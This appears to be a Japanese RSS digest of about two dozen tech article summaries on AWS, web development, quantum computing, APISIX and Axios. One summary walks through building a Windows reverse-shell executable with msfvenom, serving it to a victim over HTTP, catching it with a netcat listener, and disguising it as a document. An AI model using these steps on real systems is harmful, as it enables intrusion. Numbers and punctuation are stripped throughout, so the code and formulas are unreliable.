投稿時間:2022-03-28 02:19:36 RSSフィード2022-03-28 02:00 分まとめ(24件)

カテゴリー等 サイト名等 記事タイトル・トレンドワード等 リンクURL 頻出ワード・要約等/検索ボリューム 登録日
AWS AWSタグが付けられた新着投稿 - Qiita 【AWS環境構築メモ⑦】ELBを作成する https://qiita.com/yuuichimizuta/items/d7dabc1b4b21de0e7e60 【AWS環境構築メモ⑦】ELBを作成するはじめにELBでロードバランサーを設置して、作成したECを配下に登録します。 2022-03-28 01:59:38
海外TECH MakeUseOf How to Add the "Create System Restore Point" Option to the Windows Context Menu https://www.makeuseof.com/windows-create-system-restore-point-context-menu/ How to Add the amp quot Create System Restore Point amp quot Option to the Windows Context MenuWant to make a restore point and fast Here s how to make a amp quot create system restore point amp quot option in Windows context menu 2022-03-27 16:15:14
海外TECH DEV Community Add SEO to you 11ty website https://dev.to/mihir27/add-seo-to-you-11ty-website-43m7 Add SEO to you ty website Add Front Matter in all pages title Page Title metatitle Page Meta Title metadescription Page Meta Description image Image Address Add Site Url in dataMake a site json file in data url Primary TagsAdd these in your base njk or your main njk in which you have added lt head gt lt title gt title lt title gt lt meta name title content metatitle gt lt meta name description content metadescription gt Open Graph Facebook lt meta property og type content website gt lt meta property og url content page url gt lt meta property og title content metatitle gt lt meta property og description content metadescription gt lt meta property og image content site url image gt If you want to automatically generate open graph images you can read this post Twitter lt meta property twitter card content summary large image gt lt meta property twitter url content page url gt lt meta property twitter title content metatitle gt lt meta property twitter description content metadescription gt lt meta property twitter image content site url image gt SiteMapMake sitemap njk in your root directory It will automatically become sitemap xml permalink sitemap xmleleventyExcludeFromCollections true lt xml version encoding utf gt lt urlset xmlns gt for page in collections all lt url gt lt loc gt site url page url url lt loc gt lt lastmod gt page date toISOString lt lastmod gt lt url gt endfor lt urlset gt RobotsMake robots txtSitemap User agent Disallow 2022-03-27 16:50:22
海外TECH DEV Community Creating reverse shell binary https://dev.to/indominus_rem/creating-reverse-shell-binary-34i8 Creating reverse shell binarySo far we have played only with nectat in command line in order to understand reverse shell Now we are going to go just one step further close to real world by creating an executable binary of a reverse shell For this we need msfvenom which is part of Metasploit Framework It comes preinstalled with Kali Linux if you are going to use some other operating system there is a very good official guide here for how to install Metasploit in different OS In my case the victim machine runs on Windows and the attack machine runs on Xubuntu Both are virtual machines One important thing to do before this experiment you will have to turn off the firewall in your attacker machine Victim machine s firewall mostly won t block any outbound connections In case you are getting any issues turn that one off as well There are techniques to bypass the firewalls and IDS IPS but we are going to keep things simple for now by turning off the firewall First open up a terminal in your attack machine and run the following command msfvenom p windows shell reverse tcp LHOST lt attack machine ip gt LPORT lt attack machine port gt f exe gt gift exeIt should generate gift exe in your current directory Then run the following command to spin up a http server so that gift exe can be downloaded into the victim machine python m http serverNow open up the browser in the victim machine and go to http attack machine ip and click the link to gift exe and click the keep button on the pop up to proceed the download After the download you can stop the http server in your attack machine by pressing CTL C and then run the following command to spin up the netcat instance in listener mode nc l p Now you can open the gift exe and it will run on the background and you won t notice any change in you screen Note that I have moved the gift exe to my Desktop and ran it from there just for clarity but you can run it from anywhere in your victim machine Now you can go to your attack machine and see that you have got a reverse shell to play with In real world Attacker might change the logo of the executable to trick you to believe as if it is just a document or some other file as the extensions are hidden in Windows by default I hope you find this post useful See you on next one 2022-03-27 16:34:12
海外TECH DEV Community Understanding Bell Inequality of Quantum Computing https://dev.to/mac172/understanding-bell-inequality-of-quantum-computing-1hea Understanding Bell Inequality of Quantum ComputingQuantum Mechanics Physics is rising and intersting field right When learning it you come across topic called Bell Inequality This is little guide for it It is a test which depends on Quantum Mechanics to describe real world experiment So let s know what is it and how do we calculate it Bell InequalityJohn Stewart Bell is a Irish physicist He devised an amazing test which distinguish between Bohr and Einstein models Most amazing feature of this test is not only it is philosophies but also testable So let s take a look at it Before we start learning Bell Inequality we have to learn it s basic ideas on which it depends I hope you have basic knowledge about matrices and it s operations BasicColumn vector represent as ket ∣ψ⟩ ket psi ∣ψ⟩Row vector represent as bra ⟨ψ∣ bra psi ⟨ψ∣You can look at it like this Hadamard gateAlso known as H gate It is single qubit operation that map qubit into equal superposition Simply it convert basis state into equally superposition states like this ∣⟩ ∣⟩ ∣⟩ ket ket ket above pt sqrt ∣⟩ ​∣⟩ ∣⟩​ ∣⟩ ∣⟩ ∣⟩ ket ket ket above pt sqrt ∣⟩ ​∣⟩ ∣⟩​Matrix for this isSimply every element is with scalar multiple of above pt sqrt ​​example let s calculate hadamard matrix for ∣⟩ ket ∣⟩ At top we write matrix for ∣⟩ ket ∣⟩ take look at it because it contains at top and and bottom describing it is at ∣⟩ ket ∣⟩ state Side of it is Hadamard matrix H Below is simply multiplication of x matrix and x matrix After calculating we get x matrix containing at each position indicating it has both ∣⟩∣⟩ ket ket ∣⟩∣⟩ states and at the end we can write it in simple form ∣⟩ ∣⟩ ∣⟩ ket ket ket above pt sqrt ∣⟩ ​∣⟩ ∣⟩​ Symbol CNOT GateIt is two qubit operation So it take two qubit as input label it as first is control qubit and second is target qubit Main point to remember is If control qubit is then it perform Pauli X gate on target qubit means convert to or vice versa If control qubit is then target qubit remain unchanged You can consider this as classical NOT gate Example ∣⟩ ∣⟩ ket ket ∣⟩ ∣⟩ ∣⟩ ∣⟩ ket ket ∣⟩ ∣⟩ ∣⟩ ∣⟩ ket ket ∣⟩ ∣⟩ ∣⟩ ∣⟩ ket ket ∣⟩ ∣⟩ SymbolThat s it we need to understand Bell Inequality although you read EPR and Bell s story as additional resources to your knowledge Bell InequalityBefore getting output from Bell circuit similar to classical logic circuit it first undergo Hadamard transformation and then CNOT gate act on it and give us output ProcessNow we have hadamard gates and CNOT gate with us the circuit of Bell state is So first hadamard gate act on it like ∣⟩ ∣⟩ ∣⟩ ket ket ket above pt sqrt ∣⟩ ​∣⟩ ∣⟩​And after converting ∣⟩ ket ∣⟩ to it s equally superposition states we apply CNOT gate As CNOT gate require two qubits as input ∣⟩ ∣⟩ ∣⟩ ∣⟩ ket ket ket ket above pt sqrt ∣⟩ ​ ∣⟩ ∣⟩ ∣⟩​ ∣⟩ ∣⟩ ∣⟩ ket ket ket above pt sqrt ∣⟩ ​∣⟩ ∣⟩​We know CNOT gate will change target qubit if control qubit is else it remains unchanged ∣⟩ ∣⟩ ∣⟩ ket ket ket above pt sqrt ∣⟩ ​∣⟩ ∣⟩​Similarly we get another states for ∣⟩ ket ∣⟩ ∣⟩ ∣⟩ ∣⟩ ket ket ket above pt sqrt ∣⟩ ​∣⟩ ∣⟩​for ∣⟩ ket ∣⟩ ∣⟩ ∣⟩ ∣⟩ ket ket ket above pt sqrt ∣⟩ ​∣⟩ ∣⟩​for ∣⟩ ket ∣⟩ ∣⟩ ∣⟩ ∣⟩ ket ket ket above pt sqrt ∣⟩ ​∣⟩ ∣⟩​And above are Bell s states pairs 2022-03-27 16:27:26
海外TECH DEV Community Accordion on pure HTML https://dev.to/vadimfilimonov/accordion-on-pure-html-54l5 Accordion on pure HTMLThis is not even an article but a retelling of documentation but just for the record I will write The whole way is in two tags lt details gt lt summary gt How to create accordion without JavaScript lt summary gt Lorem ipsum dolor sit amet consectetur adipisicing elit Facilis id recusandae tempore nam placeat ratione accusantium maiores nobis velit incidunt hic omnis dolorem possimus Hic porro tenetur fugiat blanditiis iste lt details gt All content is wrapped in details Question in summary Write everything else after that There are two things to keep in mind The details cannot be animated No IE support If it s not a problem for you feel free to use it And see the demo at my codepen 2022-03-27 16:25:55
海外TECH DEV Community ¿Problema con la hora en arch linux ? https://dev.to/gloriousmusketeer/problema-con-la-hora-en-arch-linux--51jg ¿Problema con la hora en arch linux Este problema es frecuente cuando haces un dual boot con windows o dejas de usar windows para instalar arch linux también pasa con otras distribuciones pero es más frecuente en arch linux La hora no es la que debería y esto ocasiona unos problemas como Los mirrors no descarguen bien la velocidad de descarga es muy pero muy lenta El navegador ocasiona problemas a la hora de hacer busquedas con el buscador duckduckgo más que todo y las descargas también se vean afectadas descargando lento Solución al problema efectiva gt usuario gt root Debemos instalar ntp Info de ntp aquí Lo instalamos con el comando sudo pacman S ntp Ejecutamos el comando ntp con algunos flag parámetros o banderas ntpd qgaquícomenzaráa reparar la hora y colocarála hora de nuestra región Ahora debemos guardar esta hora porque al reiniciar se borran Para esto vamos a usar el comando hwclock Aquímás información para aprender a usar hwclockUsamos el siguiente commando hwclock wcon esto solucionamos este problema y aunque reinicie no se cambia la hora Recordar que necesitas un localtime primero Info localtime aquí ln s usr share zoneinfo America Bogota etc localtimeen mi caso sería este 2022-03-27 16:25:39
海外TECH DEV Community Short API GET using HTML, JS and Axios https://dev.to/afpaiva/short-api-get-using-html-js-and-axios-3n8n Short API GET using HTML JS and AxiosHello there I d like to share the shortest way I found to make an API GET request and render on navigator using just HTML JavaScript and Axios This can be useful for beginners to test and understand how async and await works on API callings And also give the first steps with Axios I tried to keep the fewest amount of code as possible Please feel free to post your comment so I can fix or include something making this post more interesting ok First create an index html file with this content In the first script tag it was imported the Axios library so we can use their functions On the tag with the id data we will embed the data from API The second script tag will call the second file below which will provide the data to the page This is script js file How it works is simple The function getAllTitles creates a constant with the object containing the Axios configuration related to the request we are creating As you can see getAllTitles is an async type of function which means that when the code interpreter hits the await word it will stop until the value arrives from the promise This will ensure that getAllTitles will return the data or an error but errors exceptions are not the focus of this article The renderResult function is an asynchronous function too because it needs the value returned from getAllTitles to change the DOM rendering the API content Result Now just run your project and see the data on your navigator Hope you like these tips Try changing the code and get different data from the API by consoling res data Any questions just leave your comment we have a great community willing to help 2022-03-27 16:20:06
海外TECH DEV Community Owning in Telescope https://dev.to/jerryhue/owning-in-telescope-236d Owning in TelescopeI would like to write about my current experience in Telescope and since we are nearing a release I would also like to talk about the area that I have without a doubt focused more on the entire term the dependency discovery service Depedency discoveryThe area that I have worked on the most is the dependency discovery service and thus it is my duty to see it being used by the release Although I have worked on some of these issues through this week I would like to write about this as if I haven t because this blog was supposed to be posted a week ago So if this was the week of March th what I should focus on to guarantee the shipping of the dependency discovery service Finish the collection of issues from GitHub repositories that are associated to the packages Design the first front end for the service Add tests for the service I am oversimplifying the points above as I don t want to delve deeply into implementation details An important point that I have to discuss is what risks I will be facing that could prevent me from shipping the dependency discovery A major risk I need to worry about is that nobody would be able to review and approve my code Now since my PRs tend to be small less than loc changes I think this is unlikely Either way I need to keep my PRs small so that anybody could review even if they are new to the service Another risk is the front end We are nearing the release yet there are no signs of a front end I am not really sure how it is going to turn out but I might want a really simple design that does what it needs to do which is facilitate finding issues of several repositories that are dependencies of Telescope I will do my best to bring this issue to fruition and see other students using it 2022-03-27 16:16:04
海外TECH DEV Community Dotnet core side bar menu https://dev.to/subinbabu/dotnet-core-side-bar-menu-1chl Dotnet core side bar menuIn dotnet core mvc Iam try to implement side menu bar but each clicking it is reload the whole page so active class of buttons will not change Iam new to dotnet any solution 2022-03-27 16:13:25
海外TECH DEV Community APISIX, an API Gateway the Apache way https://dev.to/apisix/apisix-an-api-gateway-the-apache-way-o7 APISIX an API Gateway the Apache wayDuring the pioneer area of the World Wide Web the content was static To serve it a group of developers created a web server which is now known as the Apache Web Server The Apache Web Server is built around a module architecture Developers created a module to run CGI scripts to add dynamic content to the lot Users wrote early CGI scripts in Perl After a while it became evident that generating a complete HTML page from scratch was not the best way and that templating providing an HTML page with placeholders was a much better approach The PHP language started like this as a simple templating engine interpreted by a module Then people began to think that a web server s core responsibility was not to generate content but to serve it This separation of concern split the monolithic web server into two parts the web server on the front serves static content and the application server generates dynamic content generally from data stored in a database Reverse proxiesOrganizations kept this architecture even though application servers could serve static content I remember that around I read an article that benchmarked the performance of the Apache Web Server and Apache Tomcat a Java based application server to serve purely static content the latter was on par with the former if not a bit faster On paper it made sense to remove the web server I even advocated for it once to the manager of the company I was working for at the time Organizational inertia slowed down the initiative then I left At the time I felt disappointed In hindsight it wouldn t have been a smart move The reason is that besides serving content directly web servers also had to route requests to other components In this regard they also became experts at routing based on some properties domain of course path or even an HTTP header Thus the webserver responsibility became less about serving content than about a single entry point into the rest of the infrastructure Meanwhile websites that were focused on communication evolved to full fledged web transactional applications Web apps took a bigger and bigger share of the interactions between a company and its surrounding ecosystem prospects clients providers etc When your business relies on a piece of infrastructure you need to keep its downtime to a bare minimum it means configuring redundancy of critical components and directing requests to the available ones Routing was not simple routing anymore but load balancing between several identical servers After introducing load balancing adding more and more features was easy The entry point started to handle cross cutting responsibilities authentication but not always authorization caching IP blocking etc The webserver became a Reverse Proxy The rise of APIsOver time the number of services grew exponentially along with their need to communicate with one another Inside the same organization the long standing tradition was to keep as few technology stacks as possible the exact number depending on the organization s size However when service had to communicate with services from another organization things became a mess as the probability of having different technology stacks became higher SOAP born at Microsoft which later became a WC standard or a collection of standards was the first serious attempt to propose a stack neutral approach Though it became widespread in the enterprise world it crumbled under its own weight In the enterprise the addition of standards became a quagmire Outside the enterprise front end developers i e JavaScript found it much easier to deal with HTTP and JSON The more front end developers arrived on the market the less they wanted to deal with SOAP While SOAP s popularity waned HTTP s popularity I dare not write REST waxed HTTP became the de facto standard to integrate heterogeneous information systems across the Internet Companies started to provide access to their systems via HTTP Web APIs Soon most dropped the Web part and API implicitly implied Web with time With that in mind our faithful web server evolved into its current form the API gateway It makes a lot of sense the web server already serves as a central entry point as a Reverse Proxy Now we only need to add capabilities that are specific to APIs Which ones are they The need for API gatewaysHere are two essential capabilities that highlight the need for APIs for something that regular web servers cannot provide Complex rate limiting Rate limiting is a general purpose capability to protect one s information system from DDoS attacks However when you differentiate between consumers e g free vs paying you need to move from a simple rate to a more complex business logic rule Billing You might access a resource with regular content if you paid a subscription fee However when your business is to sell data you probably sell them based on volume consumption While it s possible for the service itself to embed the billing capability it prevents more distributed architectures that rely on several services to serve the required data At this point only a central access point can reliably measure and charge usage Apache APISIXA non exhaustive list of the most widespread API gateways includes Apache APISIXKong GatewayTykGlooAmbassadorGraviteeNote that I deliberately left out gateways of Cloud providers for they lock you in their ecosystem After being developed at ZhiLiu Technology APISIX was donated to the Apache Foundation in June and became a Top Level project in July As part of the ASF meritocracy approach you must first be an active contributor to be given committer rights On the technical side APISIX is based on the popular Nginx web server with a Lua engine on top OpenResty and a plugin architecture APISIX provides several core objects Upstream Virtual host abstraction that performs load balancing on a given set of service nodes according to configuration rulesConsumer Identity of a clientRoute The route matches the client s request by defining rules then loads and executes the corresponding plugin based on the matching result and forwards the request to the specified Upstream Service A reusable object that binds both a set of plugins and an upstream Objects are stored in etcd a distributed key value store also used by Kubernetes Apache APISIX exposes a REST API so that you can access the configuration in a technical agnostic way Here we request all existing routes curl http apisix apisix admin routes H X API KEY xyz Configuration access is protected by default One needs to pass the API key Objects that use other objects can define them or point to an existing reference For example one can define a standalone Route as curl http apisix apisix admin routes H X API KEY xyz X PUT d uri foo upstream type roundrobin nodes Or first define an Upstream curl http apisix apisix admin upstreams H X API KEY xyz X PUT d type roundrobin nodes We can now reference the newly created Upstream in a new Route curl http apisix apisix admin routes H X API KEY xyz X PUT d uri bar upstream id Getting your feet wetThe quickest way to try Apache APISIX is via Docker Apache APISIX relies on etcd for its configuration so let s use Docker Compose version services apisix image apache apisix alpine command sh c opt util wait for etcd usr bin apisix init amp amp usr bin apisix init etcd amp amp usr local openresty bin openresty p usr local apisix g daemon off volumes apisix log usr local apisix logs apisix conf config yaml usr local apisix conf config yaml ro util opt util ro ports depends on etcd etcd image bitnami etcd environment ETCD ENABLE V true ALLOW NONE AUTHENTICATION yes ETCD ADVERTISE CLIENT URLS ETCD LISTEN CLIENT URLS ports Apache APISIX imageTrick to wait until etcd is fully initialized and not only started The depends on attribute is not enoughetcd imageDocker Desktop will start its own etcd if you have activated Kubernetes To avoid port conflict let s change the default port We configure Apache APISIX in the config yaml file A minimal configuration file looks like this apisix node listen allow admin admin key name admin key eddcfffadbcf role adminetcd host http etcd prefix apisix timeout We can now create a simple route We will proxy the httpbin org service bin shcurl http localhost apisix admin routes H X API KEY eddcfffadbcf X POST d name Route to httpbin uris upstream type roundrobin nodes httpbin org We can now test the route httpbin offers a couple of endpoints The aptly named anything endpoint returns anything passed in the request data We can use this endpoint to check everything works as expected curl localhost anything foo bar amp baz X POST d hello world H Content Type application json The output should closely resemble the following args baz foo bar data hello world files form headers Accept Content Length Content Type application json Host localhost User Agent curl X Amzn Trace Id Root aee afbdfeec X Forwarded Host localhost json hello world method POST origin url http localhost anything foo bar amp baz ConclusionIn this post I ve explained the evolution of web servers In the beginning their sole responsibility was to serve static content Then they added routing and load balancing capabilities and became reverse proxies At this point it was an easy step to add additional cross cutting features In the age of APIs web servers have reached another stage API gateways Apache APISIX is one such gateway It doesn t only feature the friendly Apache v license it s part of the Apache Foundation portfolio Starting with Apache APISIX is easy as pie Use Docker with the APISIX and etcd images and off you go You can find the the sources for this post on GitHub ajavageek start apisix To go further Apache APISIX websiteApache APISIX architectureApache APISIX on GitHubOriginally published at A Java Geek on March th 2022-03-27 16:05:51
海外TECH DEV Community Request easily, with Axios https://dev.to/samaghapour/request-easily-with-axios-5g3m Request easily with AxiosAre you tired of catching errors with catch methods Are you tired of looooong API URLs and repeating headers for each request Are you tired of not having an idea for handling fetch cancellation in useEffect cleanup Are you tired of not having a good structure to manage your requests Well look who is here Axios the savior…By using this lovely library you don t need the fetch for requests anymore and all the above problems will be solved In this article I will implement a good structure to manage requests using Axios and of course I will explain how and why In the above example I have used fetch times Now let s see the problems I got most parts of the request URLs are the same Base URL I repeat the headers in all of them while they are completely identical Instead of having one catch for all requests I use the catch method for each request if we got for instance for each request they are not different so why the catch method should be This is the time that Axios comes up to the scene Axios installationnpm install axiosoryarn add axios Create a Services folder in the src folderservices folder contains folders Config folder which contains an index js file that I put my initial config in there is no doubt that I installed axios but it is useless if I just want to use it without any config In the above example I used axios without config and you can see that I m repeating myself with headers and baseUrls Now this is what I put in src Services Config index js In the above code axios create creates a new instance of axios and i can give it a custom config by passing an object as an argument of this create method This config will apply to all requests made from the api instance and when I make a request with api I don t have to pass headers and base URL to each request and repeat myself In the above example I comment out my previous requests axios without config and use my own instance named “api and it does exactly the same thingAttention to the above code example the second parameter that I pass to post and put methods is the body and I can t put it in the config as you can see they are different bodies Tip BaseURI is the address that gets attached to the beginning of the endpoints e g if the base URL is So api users will become api Tip the headers that I used in my config has an authorization key with value of my token i need this to be able to use apiSo now instead of Axios itself I am going to use the api instance of Axios with my custom config ErrorHandler folder which contains index jsx fileYes this file is a jsx component BUT as you can see it returns nothing We just need the function above which helps us to get rid of catchs for each request of course you can handle Axios error catching with interceptors in different ways but I am going to stick to my way If you are not familiar with different error statuses here are some good tips that you can read before investigating the above code Error indicates that the server cannot or will not process the request due to something that is perceived to be a client error for example malformed request syntax invalid request message framing or deceptive request routing Error we need a token to set as authorization value in headers of our Axios instance config and when the user sign in sign up the user receives a token and we set it to localStorage or anywhere you want and then set it to authorization of headers It allows us to use API But tokens have an expiration time and when it gets expired or if we don t set a token to our authorization at all we are going to receive Error that represented the request sent by the client to the server that lacks valid authentication credentials Error it means that accessing the page or resource you were trying to reach is absolutely forbidden for some reason Error indicates the server was unable to find what was requested This message may also appear when the server is not willing to disclose the requested information or when the content has been deleted Error indicates the user has sent too many requests in a given amount of time InterceptorsAs you can see in the above example we imported our Axios instance named api and used something named interceptors which there are two of them the first interceptor is for requests and it does something with our request before we send it to the server and the second interceptor is for responses and it does something with the response before we get the response with then and catch methods as you can see in the above example we imported our Axios instance named api and used something named interceptors which there are two of them the first interceptor is for requests and it does something with our request before we send it to the server and the second interceptor is for responses and it does something with the response before we get the response with “ then and “ catch methods The “use method of request requires two callbacks the first one is the callback that gets triggered before the request is sent and the second one is the callback that gets triggered when the request has an error The “use method of response requires two callbacks the first one is the callback that gets triggered when our response status code lies within the range of xx resolved or fulfilled and the second one is the callback that gets triggered when our response status code falls outside the range of xx rejected In the example above we used the response “use method and passed a callback as the first parameter that does nothing special and just returns the response that it gets from the server without any change BUT the second callback that we passed to the “use method deals with errors and we do a lot of things with different errors instead of handling them in the “ catch over and over again Response error status codes usually are and some other codes and we are going to handle them in this article but you can handle as many error status codes as you want The second callback of the use method receives an error as an argument and this error argument has a response property which has a status property that we need and other properties like data which has a message property that we need that Note We return Promise reject in all cases so that when the response goes through this step and goes to then and catch the system knows the response is fulfilled or rejected to execute “ then or “ catch method In our example we said…if the status code is reject and then alert with the message of response itself if the status code is reject and then alert with the message of “you don t have permission… if the status code is just reject if the status code is reject and then alert with the message of “too many requests If the status code is we obviously don t have a valid token expired or doesn t set at all so we clear the whole information from the localStorage that we receive from the user when the user sign up sign in then we send the user to the login page to log in and set a new token to be able to use api Be aware you can be more creative and do things more than just an alert Now in every file you use this AxiosErrorHandler component the interceptor has an eye on the api requests of that file and we don t need to specify the same error handling in catch methods multiple times Well I put AxiosErrorHandler component in “src index js to have an eye on all the api requests I make in the whole project Requests folder contains all of our request actions in different category folders The subject of the requests has different categories for example The image above is the content of Requests folder each folder has a file named index js Auth folder s index file contains all the requests related to authentication like login register forgotPassword resetPassword … img alt “Requests Auth index js lt br gt height src dev to uploads s amazonaws com uploads articles dzbgbsezritbiyk png width As you can see we have different exported async functions for each request and in order to use it we just need to import and invoke it Note remember these all are async functions and return response from the server So we must use them asynchronously and receive the response and do whatever we want This is another example for Blogs folder index file and as you have noticed it contains all requests related to blogs Fetch cancellationSometimes we use these fetch requests inside useEffect but there is something you should know and that is useEffect invokes request action every time and even when the component gets unmounted and that s the time you see this warning To resolve this kind of warning we just need to cleanup our requests whenever the component gets unmounted and we do this inside useEffect cleanup function the function that useEffect returns is the cleanup function as you are going to see in the example below and there are few ways we can cancel a fetch requests inside cleanup function and for our case which is request with axios instance this is very easy You just need to create a controller instance and pass an object with a property named signal and the value of controller signal as the api second parameter and then in the cleanup function all you have to do is to invoke the abort method of the controller and it will cancel the request when the component gets unmounted now you are not going to receive that warning and your performance is better than before This article ends here and hopefully you have learned how to use this lovely library to manage your requests as best as you can Goodbye and Good luck 2022-03-27 16:05:09
海外TECH DEV Community I wrote a new library for recording p5.js sketches https://dev.to/tapioca24/i-wrote-a-new-library-for-recording-p5js-sketches-kim I wrote a new library for recording p js sketchesI have released p capture a library for easy recording of p js sketches This is intended to solve the p js issue of not having an easy way to record sketches and I believe it will be useful for many p js users I would like to take this opportunity to introduce it to you tapioca p capture super easy recording for p js animations Assuming you would like to record p js animations super easily this package is the right choice for you Check out the demo Demo on p js Web EditorDemo on OpenProcessingDemo on CodePenWhy p capture Stable recording Recording p js animations with screen recording tools can cause jerky recordingsComplex animations can slow down the framerate and make recording unstablep capture hooks into the p js draw function and records the rendered frame so it works like magic Keep your sketch clean Adding recording functionality to a sketch can be very tediousp capture provides a minimal GUI and is designed to add recording functionality without adding any code to your sketch Let s focus on your creative coding Of course you can also use the API to integrate it into your code Any format •One API Tired of having to use different libraries for different formatsp capture supports… View on GitHub Motivationp js is a creative coding environment that is easy to use even for programming beginners and can easily create animations To share your animations on Twitter or other social media you need to record your sketches and export them as video files However existing libraries have many steps and various restrictions and there seems to be almost no established standard way to do this I am sure there are many people who are having trouble with this I wrote this library in the hopes of solving these issues and removing barriers to sharing sketches thereby further invigorating the creative coding community Concepts Easy to use Above all it is designed to be easy to use even for programming beginners To use p capture all you need to do is add a single line of code that loads the library Once the library is loaded a GUI for recording is displayed and a video file is created by clicking a button Many existing libraries require you to add your own code for recording but with p capture the library takes care of those hassles by adding a GUI allowing you to skip almost all the work It s very easy and you don t have to pollute your sketches with non essential code Supports a wide range of export formats Existing libraries have few supported video formats LibrarywebmgifmppngjpgwebpsaveFramesCCapture jsp recp MovRecp recorderp captureFor beginners just finding a library can be a challenge and if you want multiple formats you may have to use several different libraries It is a painstaking task p capture supports commonly used formats such as webm gif mp as video files and png jpg webp as sequential images It can be used for many purposes Stable recording Due to the nature of real time animation generation in p js it is common for the frame rate to drop when using computationally expensive processing In such cases recording will usually result in a reduced frame rate To avoid this p capture adds frames to the video after the draw function is complete and all rendering is finished Thus recorded video files can be played back smoothly even if real time rendering is choppy UsageInsert a link to the p capture after p js in your html file lt script src lib p min js gt lt script gt lt insert after p js gt lt script src dist p capture umd min js gt lt script gt You can find all versions in the jsDelivr For OpenProcessing add the URL from the library settings Once the library is loaded a GUI appears and recording can be started and stopped by clicking buttons Note that it is recommended that framerate match the frame rate of the animation Basically this is all you need Advanced SettingsThe PCapture setDefaultOptions method can be used to set advanced settings such as image quality and resizing For example to create a gif video with reduced image quality and frame rate and resized width to px add the following code PCapture setDefaultOptions format gif framerate quality width function setup do something This method must be used before p js is initialized These options affect both GUI and API recording See the GitHub repository for a list of settings and their range of values Programmatic controlYou can also control recording programmatically using several methods provided by p capture The following example records the first frames function draw if frameCount const capture PCapture getInstance capture start format gif duration do something Controlling the recording with keystrokes could be accomplished by adding the following code to the sketch function keyPressed if key c const capture PCapture getInstance if capture state idle capture start else capture stop See the GitHub repository for all functions and descriptions DemoYou can see how it actually works Demo on p js Web EditorDemo on OpenProcessing In the endThank you for reading to the end If you are interested please try it Pull Requests are also welcome 2022-03-27 16:02:53
海外TECH DEV Community Search Component in React https://dev.to/readymadecode/search-component-in-react-3mim Search Component in ReactSearch Bar is a text box used to search data in file or database based on user s input In our web or mobile applications we can create search component in react in different ways Here below we will create react search component in class component Create Search Bar in Reactclass SearchComponent extends React Component state searchString handleChange e gt this setState searchString e target value render var searchItems this props items searchString this state searchString trim toLowerCase if searchString length gt searchItems searchItems filter function i return i name toLowerCase match searchString return lt div gt lt input type text value this state searchString onChange this handleChange placeholder Type here gt lt ul gt searchItems map function i return lt li gt i name lt a href i url gt i url lt a gt lt li gt lt ul gt lt div gt export default SearchComponent Now we have an lt SearchComponent gt which we can use in our class or functional component and items is an prop for this component For example we are using lt SearchComponent gt in the component below import SearchComponent from search component class HomePage extends React Component render Search Items this can be static or through API var searchItems name AngularJS url name jQuery url name React url name Express url name PHP url name Laravel url return lt div gt put input and display on page lt SearchComponent items searchItems gt lt div gt export default HomePage You can also apply some CSS to to beautify style or icons Please like share subscribe and give positive feedback to motivate me to write more for you For more tutorials please visit my website Thanks Happy Coding 2022-03-27 16:01:55
Apple AppleInsider - Frontpage News Apple may keep 'iPhone 14 Pro' camera bump to hold larger 48MP sensors https://appleinsider.com/articles/22/03/27/apple-may-keep-iphone-14-pro-camera-bump-to-hold-larger-48mp-sensors?utm_medium=rss Apple may keep x iPhone Pro x camera bump to hold larger MP sensorsThe camera bump on the back of the latest iPhone Pro and iPhone Pro Max schematic leaks will be bigger to accommodate the larger imaging sensor an analyst claims with the shift to a MP sensor requiring more space On March allegedly leaked diagrams for Apple s fall iPhone refresh indicated a probability that the camera bump on the rear will remain for yet another year despite speculation in renders As for why the bump will persist instead of disappearing the decision may be down to the other rumored camera changes Apple is thought to be shifting from megapixel camera sensors to megapixel versions which will be a major upgrade for the smartphone Since bigger sensors will be used that means the design will have to take into account the amount of consumed space inside the device Read more 2022-03-27 16:36:41
海外TECH Engadget A massive DDoS attack leaves ‘Among Us’ unplayable in North America and Europe https://www.engadget.com/among-us-innersloth-ddos-attack-165116645.html?src=rss A massive DDoS attack leaves Among Us unplayable in North America and EuropeSince late Friday afternoon Among Us developer Innersloth has been trying to contain a DDoS attack against both its North American and European servers leaving the popular game unplayable for many “Service will be offline while the team works on fixing it but might take a bit hang tight Sorry Innersloth said on Friday in a tweet spotted by Eurogamer servers are still down while we work to fix the DDoS sabotagethey may come on off but will update u when we think they re stable sorry pic twitter com vMmbttbJーAmong Us servers down AmongUsGame March As of the writing of this article Innersloth has managed to restore some servers but the situation does not appear to be fully resolved with the game s official Twitter account still stating “Among Us servers down in its profile “Can t believe I m working on a Saturday right now I was supposed to go and get a croissant Innersloth said in one particularly desperate sounding update over the weekend Thanks to its popularity Among Us is no stranger to disruptive hacking attacks In the game experienced a far reaching spam attack that affected as many million players after an individual named “Eris Loris found a way to hack millions of games The event led to no small amount of grief and frustration among the game s community with many taking to Reddit to vent their frustration at the hacker 2022-03-27 16:51:16
ニュース BBC News - Home Shanghai Covid: China announces largest city-wide lockdown https://www.bbc.co.uk/news/world-asia-china-60893070?at_medium=RSS&at_campaign=KARANGA lockdown 2022-03-27 16:16:27
ニュース BBC News - Home Gruinard Island: Fire on island used for Anthrax experiments https://www.bbc.co.uk/news/uk-scotland-highlands-islands-60892350?at_medium=RSS&at_campaign=KARANGA gruinard 2022-03-27 16:33:51
ニュース BBC News - Home England in West Indies: Joe Root's side slump to 10-wicket defeat in Grenada https://www.bbc.co.uk/sport/cricket/60893972?at_medium=RSS&at_campaign=KARANGA England in West Indies Joe Root x s side slump to wicket defeat in GrenadaEngland slump to a chastening wicket defeat early on the fourth day of the third Test to lose their series against West Indies 2022-03-27 16:35:29
ニュース BBC News - Home Why Biden's off-script remarks about Putin are so dangerous https://www.bbc.co.uk/news/world-us-canada-60895392?at_medium=RSS&at_campaign=KARANGA russia 2022-03-27 16:44:42
ニュース BBC News - Home Chelsea thrash Leicester 9-0 to go top of WSL https://www.bbc.co.uk/sport/football/60810511?at_medium=RSS&at_campaign=KARANGA power 2022-03-27 16:14:36
ニュース BBC News - Home Women's Six Nations: Emilie Boulard scores brilliant try for France against Italy https://www.bbc.co.uk/sport/av/rugby-union/60895222?at_medium=RSS&at_campaign=KARANGA Women x s Six Nations Emilie Boulard scores brilliant try for France against ItalyWatch as Emilie Boulard runs in a brilliant solo try as France beat Italy in their opening game of the Women s Six Nations 2022-03-27 16:05:43
北海道 北海道新聞 小笠原諸島で海底噴火か 船舶に警戒呼び掛け https://www.hokkaido-np.co.jp/article/661899/ 北硫黄島 2022-03-28 01:03:44
北海道 北海道新聞 初V宇野「もっと挑戦を」 「引っ張っていく」と坂本 https://www.hokkaido-np.co.jp/article/661865/ 世界選手権 2022-03-28 01:02:39

コメント

このブログの人気の投稿

